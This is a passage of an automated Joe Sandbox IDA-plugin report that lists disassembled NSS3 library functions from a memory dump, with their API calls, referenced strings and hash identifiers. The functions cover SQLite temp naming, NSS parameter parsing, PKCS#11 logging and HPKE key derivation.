sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6CB0BE66), ref: 6CC46F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6CB0BE66), ref: 6CC46FA6
sqlite3_snprintf.NSS3(?,00000000,6CCAAAF9,00000000,?,?,?,?,?,?,?,6CB0BE66), ref: 6CC46FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6CB0BE66), ref: 6CC46FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CB0BE66), ref: 6CC46FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CB0BE66), ref: 6CC47014
sqlite3_free.NSS3(00000000,?,?,?,?,6CB0BE66), ref: 6CC4701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6CB0BE66), ref: 6CC47030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6CB0BE66), ref: 6CC4705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6CB0BE66), ref: 6CC47079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CB0BE66), ref: 6CC47097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6CB0BE66), ref: 6CC470A0

Strings

winGetTempname1, xrefs: 6CC4708F
mz_etilqs_, xrefs: 6CC46F18
winGetTempname5, xrefs: 6CC47071
winGetTempname4, xrefs: 6CC47046
winGetTempname2, xrefs: 6CC470C4

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-707647140
Opcode ID: 5294388a0a5f0922cc64bc85a5484c4581387026ea749fab8289ec6219a1303a
Instruction ID: 8af75deb67139eff73e98fabecbcc26cfe9837743a0bb50755f426657b9a36d1
Opcode Fuzzy Hash: 5294388a0a5f0922cc64bc85a5484c4581387026ea749fab8289ec6219a1303a
Instruction Fuzzy Hash: DF5167B1A016112BE710A7319C55FBB36669F8231CF14C538E81696BC6FB36A91FC2D3

Function 6CBD4FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB875C2,00000000,00000000,00000001), ref: 6CBD5009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB875C2,00000000), ref: 6CBD5049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CBD505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6CBD5071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBD5089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBD50A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CBD50B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB875C2), ref: 6CBD50CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CBD50D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CBD50F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBD5103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBD511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBD512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBD5145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBD5153
free.MOZGLUE(?), ref: 6CBD516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CBD517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CBD5195

Strings

config=, xrefs: 6CBD509B
name=, xrefs: 6CBD5057
library=, xrefs: 6CBD5043
parameters=, xrefs: 6CBD506B
nss=, xrefs: 6CBD5083

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: 64d09f7d53e3c2bde52840bc741af3df6c7b9087548ee5ee5ffee0f9d0f86cf9
Instruction ID: 5ca752b82bdde51b75432b7cbbc8e3b9e858526247e9fec4bb13f7a925ea28ff
Opcode Fuzzy Hash: 64d09f7d53e3c2bde52840bc741af3df6c7b9087548ee5ee5ffee0f9d0f86cf9
Instruction Fuzzy Hash: DF5193F5A412566BEB00DF249C41AAE37B8EF06248F150024EC59E7741FB35FA19CBB6

Function 6CBA8E50 Relevance: 40.4, APIs: 14, Strings: 9, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6CBA8E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CBA8EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBA8EB3

Part of subcall function 6CC8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CBA8EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CBA8EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6CBA8F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBA8F29
PR_LogPrint.NSS3(?,00000000), ref: 6CBA8F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CBA8F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBA8F80
PR_LogPrint.NSS3(?,00000000), ref: 6CBA8F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6CBA8FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6CBA8FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6CBA9047

Strings

hWrappingKey = 0x%x, xrefs: 6CBA8F01, 6CBA8F11
hKey = 0x%x, xrefs: 6CBA8F5B, 6CBA8F6B
C_WrapKey, xrefs: 6CBA8E71
(CK_INVALID_HANDLE), xrefs: 6CBA8EAC, 6CBA8F1F, 6CBA8F79
pWrappedKey = 0x%p, xrefs: 6CBA8FAD
hSession = 0x%x, xrefs: 6CBA8E8E, 6CBA8E9E
*pulWrappedKeyLen = 0x%x, xrefs: 6CBA9042
pulWrappedKeyLen = 0x%p, xrefs: 6CBA8FC8
pMechanism = 0x%p, xrefs: 6CBA8EE0

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey
API String ID: 1003633598-4293906258
Opcode ID: 55d0699a87875ac30b3852b266e03f38d4caf7beb8d56f7a0fb6d95156953f17
Instruction ID: 6df19e04a33078f32f2f8ce02bbbfad5da6e83fe709d1bf0b4b00332c92d0010
Opcode Fuzzy Hash: 55d0699a87875ac30b3852b266e03f38d4caf7beb8d56f7a0fb6d95156953f17
Instruction Fuzzy Hash: C051D531506196FBDB009F849C58F9FBB76EB4630DF048455F508A7A11E732AD0ACB92

Function 6CBD4C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6CBC4F51,00000000), ref: 6CBD4C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CBC4F51,00000000), ref: 6CBD4C5B
PR_smprintf.NSS3(6CCAAAF9,?,0000002F,?,?,?,00000000,00000000,?,6CBC4F51,00000000), ref: 6CBD4C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6CBC4F51,00000000), ref: 6CBD4CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBD4CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBD4CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBD4D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CBC4F51,00000000), ref: 6CBD4D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CBC4F51,00000000), ref: 6CBD4D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6CBD4D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6CBD4DA2
free.MOZGLUE(?), ref: 6CBD4DB9
free.MOZGLUE(00000000), ref: 6CBD4DCF

Strings

slotFlags, xrefs: 6CBD4D34
rust, xrefs: 6CBD4D22
ootT, xrefs: 6CBD4D1A
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6CBD4D9D
rootFlags, xrefs: 6CBD4D47
0x%08lx=[%s %s], xrefs: 6CBD4D80
%s,%s, xrefs: 6CBD4C4B
any, xrefs: 6CBD4C96
timeout, xrefs: 6CBD4C91
every, xrefs: 6CBD4CA1

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: c8b17e25572dada4d824673be7e1f734cbcf73e04903c5939b778bd15622f3bd
Instruction ID: 003dae22b720b563ad3ea4a3a7ec888e76f6b0554d1d1f10a642e352ec68d1bf
Opcode Fuzzy Hash: c8b17e25572dada4d824673be7e1f734cbcf73e04903c5939b778bd15622f3bd
Instruction Fuzzy Hash: 97419CB19001D2ABDB115F59AC49ABF3A75EF86348F0A4128E8064B701E731ED25CBD3

Function 6CBB6910 Relevance: 38.6, APIs: 15, Strings: 7, Instructions: 131COMMON

Download Yara Rule

APIs

NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6CBB6943

Part of subcall function 6CBD4210: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,B67A13E6,flags,?,00000000,?,6CBB5947,flags,printPolicyFeedback,?,?,?,?,?,?,00000000), ref: 6CBD4220
Part of subcall function 6CBD4210: NSSUTIL_ArgGetParamValue.NSS3(?,6CBB5947,?,?,?,?,?,?,00000000,?,00000000,?,6CBB7703,?,00000000,00000000), ref: 6CBD422D
Part of subcall function 6CBD4210: PL_strncasecmp.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CBB7703), ref: 6CBD424B
Part of subcall function 6CBD4210: free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CBB7703,?,00000000), ref: 6CBD4272

NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6CBB6957
NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6CBB6972
NSSUTIL_ArgStrip.NSS3(00000000), ref: 6CBB6983

Part of subcall function 6CBD3EA0: isspace.API-MS-WIN-CRT-STRING-L1-1-0(8914C483,70E85609,6CBAC79F,?,6CBB6247,70E85609,?,?,6CBAC79F,6CBB781D,?,6CBABD52,00000001,70E85609,D85D8B04,?), ref: 6CBD3EB8

PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6CBB69AA
PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6CBB69BE
PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6CBB69D2
NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6CBB69DF

Part of subcall function 6CBD4020: isspace.API-MS-WIN-CRT-STRING-L1-1-0(FFFFEF69,00000000,?,?,765D4C80,?,6CBD50B7,?), ref: 6CBD4041

free.MOZGLUE(00000000), ref: 6CBB69F6
NSSUTIL_ArgFetchValue.NSS3(-0000000A,?), ref: 6CBB6A04
free.MOZGLUE(00000000), ref: 6CBB6A1B
NSSUTIL_ArgFetchValue.NSS3(-0000000B,?), ref: 6CBB6A29
free.MOZGLUE(00000000), ref: 6CBB6A3F
NSSUTIL_ArgFetchValue.NSS3(-0000000A,?), ref: 6CBB6A4D
NSSUTIL_ArgStrip.NSS3(?), ref: 6CBB6A5B

Strings

flags, xrefs: 6CBB6937, 6CBB6942, 6CBB6956, 6CBB696D
readOnly, xrefs: 6CBB693D
keyPrefix=, xrefs: 6CBB69CC
nokeydb, xrefs: 6CBB6968
certPrefix=, xrefs: 6CBB69B8
nocertdb, xrefs: 6CBB6951
configdir=, xrefs: 6CBB69A4

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: L_strncasecmpValuefree$FetchFlag$Stripisspace$ParamParameterSkipstrlen
String ID: certPrefix=$configdir=$flags$keyPrefix=$nocertdb$nokeydb$readOnly
API String ID: 2065226673-2785624044
Opcode ID: 78f6e0e19fb5fc30c009f88b8035204fc89634979bd4be0af8b2a24ced51efb7
Instruction ID: 67385d850ea176e6c4ce5103226ad2a5ec59d43fa6f1839e4cbad0a139b39ec2
Opcode Fuzzy Hash: 78f6e0e19fb5fc30c009f88b8035204fc89634979bd4be0af8b2a24ced51efb7
Instruction Fuzzy Hash: A54155F1E402466BEB00DB75AC85B6F77AC9F15248F150430E909E6B42FB35DE1887A2

Function 6CBA4950 Relevance: 36.9, APIs: 13, Strings: 8, Instructions: 170COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_CopyObject), ref: 6CBA4976
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CBA49A7
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBA49B6

Part of subcall function 6CC8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CBA49CC
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CBA49FA
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBA4A09
PR_LogPrint.NSS3(?,00000000), ref: 6CBA4A1F
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6CBA4A40
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6CBA4A5C
PR_LogPrint.NSS3( phNewObject = 0x%p,?), ref: 6CBA4A7C
PL_strncpyz.NSS3(?, *phNewObject = 0x%x,00000050), ref: 6CBA4B17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBA4B26
PR_LogPrint.NSS3(?,00000000), ref: 6CBA4B3C

Strings

(CK_INVALID_HANDLE), xrefs: 6CBA49AF, 6CBA4A02, 6CBA4B1F
hObject = 0x%x, xrefs: 6CBA49E4, 6CBA49F4
*phNewObject = 0x%x, xrefs: 6CBA4B01, 6CBA4B11
hSession = 0x%x, xrefs: 6CBA4991, 6CBA49A1
C_CopyObject, xrefs: 6CBA4971
pTemplate = 0x%p, xrefs: 6CBA4A39
phNewObject = 0x%p, xrefs: 6CBA4A77
ulCount = %d, xrefs: 6CBA4A57

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *phNewObject = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ phNewObject = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_CopyObject
API String ID: 1003633598-1222337137
Opcode ID: 172fda507ef9f31c862d61beadf678c0f6736ea00f347c8a1b3ce6704ab5355b
Instruction ID: e86b4d7caf124568894572543b564f6074735a8b1cf4b7ddb1cfc6d531d22473
Opcode Fuzzy Hash: 172fda507ef9f31c862d61beadf678c0f6736ea00f347c8a1b3ce6704ab5355b
Instruction Fuzzy Hash: 1251C430602155BFDB00CF84DD98F9FBB75EB4630DF444064F844A7A11EB20AD1ACBA6

Function 6CBA08F0 Relevance: 33.5, APIs: 13, Strings: 6, Instructions: 230COMMON

Download Yara Rule

APIs

htonl.WSOCK32(-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 6CBA094D
htonl.WSOCK32(-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBA0953
htonl.WSOCK32(-00000001,-00000001,-00000001), ref: 6CBA096E
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001), ref: 6CBA0974
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6CBA098F
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6CBA0995

Part of subcall function 6CBA1800: SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CBA1860
Part of subcall function 6CBA1800: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00000000,?,-00000001,?,6CBA09BF), ref: 6CBA1897
Part of subcall function 6CBA1800: memcpy.VCRUNTIME140(?,-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CBA18AA
Part of subcall function 6CBA1800: memcpy.VCRUNTIME140(?,?,?), ref: 6CBA18C4

PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6CBA0B4F
SECITEM_ZfreeItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6CBA0B5E
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6CBA0B6B
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001), ref: 6CBA0B78

Strings

secret, xrefs: 6CBA0A88
psk_id_hash, xrefs: 6CBA09B5
exp, xrefs: 6CBA0B36
key, xrefs: 6CBA0ACB
info_hash, xrefs: 6CBA09E0
base_nonce, xrefs: 6CBA0B06

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: htonl$Item_Util$Zfreememcpy$AllocFreeK11_
String ID: base_nonce$exp$info_hash$key$psk_id_hash$secret
API String ID: 1637529542-763765719
Opcode ID: 78f9b8f26902024440baab1c29a514e29a3d9e7e069e37e8ccbc8e39576a073f
Instruction ID: 599a42597dfeb2a3120506fe099c15ea2fbfb1fa30e2d7f1818851cd73423a90
Opcode Fuzzy Hash: 78f9b8f26902024440baab1c29a514e29a3d9e7e069e37e8ccbc8e39576a073f
Instruction Fuzzy Hash: 1A817A75608345AFC700CF95D88099AFBE8FF8C708F048919F99997751E731EA1ACB92

Function 6CBA89B0 Relevance: 33.4, APIs: 11, Strings: 8, Instructions: 149COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GenerateKey), ref: 6CBA89D6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CBA8A04
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBA8A13

Part of subcall function 6CC8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CBA8A29
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CBA8A4B
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6CBA8A67
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6CBA8A83
PR_LogPrint.NSS3( phKey = 0x%p,?), ref: 6CBA8AA1
PL_strncpyz.NSS3(?, *phKey = 0x%x,00000050), ref: 6CBA8B43
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBA8B52
PR_LogPrint.NSS3(?,00000000), ref: 6CBA8B68

Strings

(CK_INVALID_HANDLE), xrefs: 6CBA8A0C, 6CBA8B4B
hSession = 0x%x, xrefs: 6CBA89EE, 6CBA89FE
C_GenerateKey, xrefs: 6CBA89D1
phKey = 0x%p, xrefs: 6CBA8A9C
pTemplate = 0x%p, xrefs: 6CBA8A62
pMechanism = 0x%p, xrefs: 6CBA8A46
ulCount = %d, xrefs: 6CBA8A7E
*phKey = 0x%x, xrefs: 6CBA8B2D, 6CBA8B3D

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *phKey = 0x%x$ hSession = 0x%x$ pMechanism = 0x%p$ pTemplate = 0x%p$ phKey = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GenerateKey
API String ID: 1003633598-2039122979
Opcode ID: f156940fa06bbae1a31b9b0109bd67ba62a9cb7f0670ef4e69c543ea80ed69f8
Instruction ID: e6305acc5d9e3054228c25f465119fb6a4e49747dc128a55563e51342f14de3f
Opcode Fuzzy Hash: f156940fa06bbae1a31b9b0109bd67ba62a9cb7f0670ef4e69c543ea80ed69f8
Instruction Fuzzy Hash: 9751C530602195BBDB00DF94DD98F9F7B75EB4630DF448065E805ABA11E732EC1ACB92

Function 6CBB2D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6CBB2DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6CBB2E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CBB2E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CBB2E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6CB84F1C,?,-00000001,00000000,?), ref: 6CBB2E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6CB84F1C,?,-00000001,00000000), ref: 6CBB2E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CBB2EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CBB2EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CBB2EF8
PR_Unlock.NSS3(?), ref: 6CBB2F62
TlsGetValue.KERNEL32 ref: 6CBB2F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6CBB2F9E
PR_Unlock.NSS3(?), ref: 6CBB2FCA
TlsGetValue.KERNEL32 ref: 6CBB301A
EnterCriticalSection.KERNEL32(?), ref: 6CBB302E
